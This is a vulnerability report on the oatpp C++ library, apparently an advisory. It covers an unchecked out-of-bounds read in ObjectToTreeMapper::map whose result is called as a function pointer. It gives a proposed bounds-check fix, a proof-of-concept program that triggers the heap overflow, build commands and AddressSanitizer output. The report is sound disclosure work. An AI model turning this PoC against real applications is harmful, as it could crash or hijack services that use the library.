OOB read in 'ObjectToTreeMapper::map'
Summary
ObjectToTreeMapper keeps its serializer methods in a vector indexed by ClassId::id. The function that fills the table grows it when the id is out of range; the function that reads it does not check at all. ClassIds are numbered in order of static initialisation, so any class registered after a mapper is constructed has an id past the end of that mapper's table. The value read from beyond the table is then treated as a function pointer and called if it is non-null.
Details
The two functions sit next to each other in src/oatpp/data/mapping/ObjectToTreeMapper.cpp:
68 void ObjectToTreeMapper::setMapperMethod(const data::type::ClassId& classId, MapperMethod method) {
69 const auto id = static_cast<v_uint32>(classId.id);
70 if(id >= m_methods.size()) {
71 m_methods.resize(id + 1, nullptr);
72 }
73 m_methods[id] = method;
74 }
76 void ObjectToTreeMapper::map(State& state, const oatpp::Void& polymorph) const
77 {
78 auto id = static_cast<v_uint32>(polymorph.getValueType()->classId.id);
79 auto& method = m_methods[id];
80 if(method) {
81 (*method)(this, state, polymorph);Line 70 checks the bound. Line 79 does not. The table is sized when the mapper is constructed and extended only by setMapperMethod, which the constructor calls for the known types, so its size is fixed at "class count at construction time".
ClassId hands out ids sequentially from 0 as its objects are constructed. Any ClassId created after that point, a template instantiation whose type object is first touched later, a class registered from a shared library loaded at runtime — receives an id greater than the table size.
Passing a value of such a type to map reads m_methods[id] out of bounds.
Line 79 binds a reference into OOB memory, line 80 tests it, and line 81 calls it. Whatever bytes follow the vector's allocation are treated as a MapperMethod function pointer.
TreeToObjectMapper::map (TreeToObjectMapper.cpp:130) has the same unguarded indexing and needs the same fix.
Fix: bounds-check at the read and fall through to the interpretation path that already handles the "no method" case at :82-92.
79 if(id >= m_methods.size() || !m_methods[id]) { /* interpretation path */ }PoC
poc_ObjectToTreeMapper_map.cpp. One std::static_pointer_cast<void> to build the Void payload.
// Mapper built first: m_methods sized to the class count as of now.
oatpp::json::ObjectMapper mapper;
// ... then new classes get registered (module load / runtime type creation).
std::vector<oatpp::data::type::ClassId*> late;
for (int i = 0; i < 128; i++) {
late.push_back(new oatpp::data::type::ClassId("LateRegisteredClass"));
}
static oatpp::data::type::Type lateType(*late.back());
auto payload = std::make_shared<int>(0x41414141);
oatpp::Void v(std::static_pointer_cast<void>(payload), &lateType);
auto out = mapper.writeToString(v); // m_methods[late id] -- past the end of the tableBuild and run:
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
poc_ObjectToTreeMapper_map.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_map
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectToTreeMapper_mapASAN output:
[*] late ClassId id = <N>, class count = <N+1>
==3009022==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c88799e04e8 ...
READ of size 8 at 0x7c88799e04e8 thread T0
#0 in oatpp::data::mapping::ObjectToTreeMapper::map(State&, Void const&) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
#1 in oatpp::json::ObjectMapper::write(...) src/oatpp/json/ObjectMapper.cpp
#2 in oatpp::data::mapping::ObjectMapper::writeToString(Void const&) const src/oatpp/data/mapping/ObjectMapper.cpp
0x7c88799e04e8 is located 776 bytes after 176-byte region [0x7c88799e0130,0x7c88799e01e0)Impact
OOB read whose result is used as a function pointer and called if non-zero. The offset past the table is (id - size) * 8 and id is determined by how many classes were registered after the mapper was built, so the read location is influenced by initialization order rather than chosen freely.
Reachability is application-level, and the realistic setting is a process that constructs an ObjectMapper early and then loads a module (or otherwise creates type objects) afterwards. What raises it above a OOB read is line 81. the bytes are executed as a target if they happen to be non-null.
Source: oatpp/oatpp